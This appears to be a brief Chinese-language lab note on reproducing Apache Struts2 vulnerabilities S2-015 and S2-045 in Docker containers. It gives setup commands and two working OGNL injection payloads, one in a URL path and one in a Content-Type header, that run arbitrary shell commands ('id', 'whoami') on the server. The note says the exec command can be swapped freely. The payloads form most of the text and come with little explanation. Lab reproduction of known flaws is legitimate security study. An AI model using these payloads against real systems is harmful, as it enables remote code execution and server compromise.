struts2_s2-015
官方:https://cwiki.apache.org/confluence/display/WW/S2-015
1感谢大佬的项目:https://github.com/Medicean/VulApps/tree/master/s/struts2/
1拉取景象
docker pull medicean/vulapps:s_struts2_s2-015
1运行
docker run -dt(后台运行) --name sqli-labs (名字) -p 80:80 (本地,docker端口 映射) --rm (docker 停止后 ,删除产生所有的镜像)
docker run -dt --name struts_s2-015 -p 80:8080 --rm medicean/vulapps:s_struts2_s2-015
POC:
/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
改变 exec中即可
Message 执行了
struts2-045
1拉取景象
docker pull medicean/vulapps:s_struts2_s2-045
1运行
docker run -dt(后台运行) --name sqli-labs (名字) -p 80:80 (本地,docker端口 映射) --rm (docker 停止后 ,删除产生所有的镜像)
docker run -dt --name struts_s2-045 -p 80:8080 --rm medicean/vulapps:s_struts2_s2-045
POC1:
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}